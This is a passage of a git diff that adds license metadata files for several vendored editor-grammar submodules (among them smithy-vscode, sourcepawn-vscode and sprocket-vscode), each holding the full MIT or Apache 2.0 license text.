+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/shaders-tmLanguage.dep.yml b/vendor/licenses/git_submodule/shaders-tmLanguage.dep.yml
new file mode 100644
index 0000000000..24cd19bdeb
--- /dev/null
+++ b/vendor/licenses/git_submodule/shaders-tmLanguage.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: shaders-tmLanguage
+version: 87c0dca3a39170dbd7ee7e277db4f915fb2de14a
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2017 Tim Jones
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/slint-tmLanguage.dep.yml b/vendor/licenses/git_submodule/slint-tmLanguage.dep.yml
new file mode 100644
index 0000000000..8904d37354
--- /dev/null
+++ b/vendor/licenses/git_submodule/slint-tmLanguage.dep.yml
@@ -0,0 +1,19 @@
+---
+name: slint-tmLanguage
+version: b0f91f4eb04731c9f868f382fba3fa5f5ea7840a
+type: git_submodule
+homepage: https://github.com/slint-ui/slint-tmLanguage.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2024 SixtyFPS GmbH
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/smali-sublime.dep.yml b/vendor/licenses/git_submodule/smali-sublime.dep.yml
new file mode 100644
index 0000000000..2921ba3626
--- /dev/null
+++ b/vendor/licenses/git_submodule/smali-sublime.dep.yml
@@ -0,0 +1,31 @@
+---
+name: smali-sublime
+version: 36add49df8c7d8dde1d5cf0d68c4098183b2714f
+type: git_submodule
+homepage: https://github.com/ShaneWilton/sublime-smali
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Shane Wilton
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/smalltalk-tmbundle.dep.yml b/vendor/licenses/git_submodule/smalltalk-tmbundle.dep.yml
new file mode 100644
index 0000000000..5294f3b530
--- /dev/null
+++ b/vendor/licenses/git_submodule/smalltalk-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: smalltalk-tmbundle
+version: 69b6ea767fb1a911931cdaa14cd980a2e675a1d0
+license: mit
+licenses:
+- text: |-
+    ### The MIT License
+
+    #### Copyright (c) 2011 Tomás D'Stefano - SuccesSoft
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/smithy-vscode.dep.yml b/vendor/licenses/git_submodule/smithy-vscode.dep.yml
new file mode 100644
index 0000000000..d6e374232d
--- /dev/null
+++ b/vendor/licenses/git_submodule/smithy-vscode.dep.yml
@@ -0,0 +1,189 @@
+---
+name: smithy-vscode
+version: d5d5d2fed1a52309d0048fc662c9b8eb597af684
+type: git_submodule
+homepage: https://github.com/awslabs/smithy-vscode.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+notices:
+- sources: NOTICE
+  text: |-
+    Smithy for VS Code
+    Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
diff --git a/vendor/licenses/git_submodule/sourcepawn-vscode.dep.yml b/vendor/licenses/git_submodule/sourcepawn-vscode.dep.yml
new file mode 100644
index 0000000000..71eac6214d
--- /dev/null
+++ b/vendor/licenses/git_submodule/sourcepawn-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sourcepawn-vscode
+version: ffee607a9f8c7dd7d084e48256a4bcc0eeb21a1b
+type: git_submodule
+homepage: https://github.com/Sarrus1/sourcepawn-vscode.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2021 Sarrus
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sprocket-vscode.dep.yml b/vendor/licenses/git_submodule/sprocket-vscode.dep.yml
new file mode 100644
index 0000000000..f80ccf1bc8
--- /dev/null
+++ b/vendor/licenses/git_submodule/sprocket-vscode.dep.yml
@@ -0,0 +1,235 @@
+---
+name: sprocket-vscode
+version: 3003073d79c0dfb19546db416eb0db6df02983f9
+type: git_submodule
+homepage: https://github.com/stjude-rust-labs/sprocket-vscode.git
+license: apache-2.0
+licenses:
+- sources: LICENSE-APACHE
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
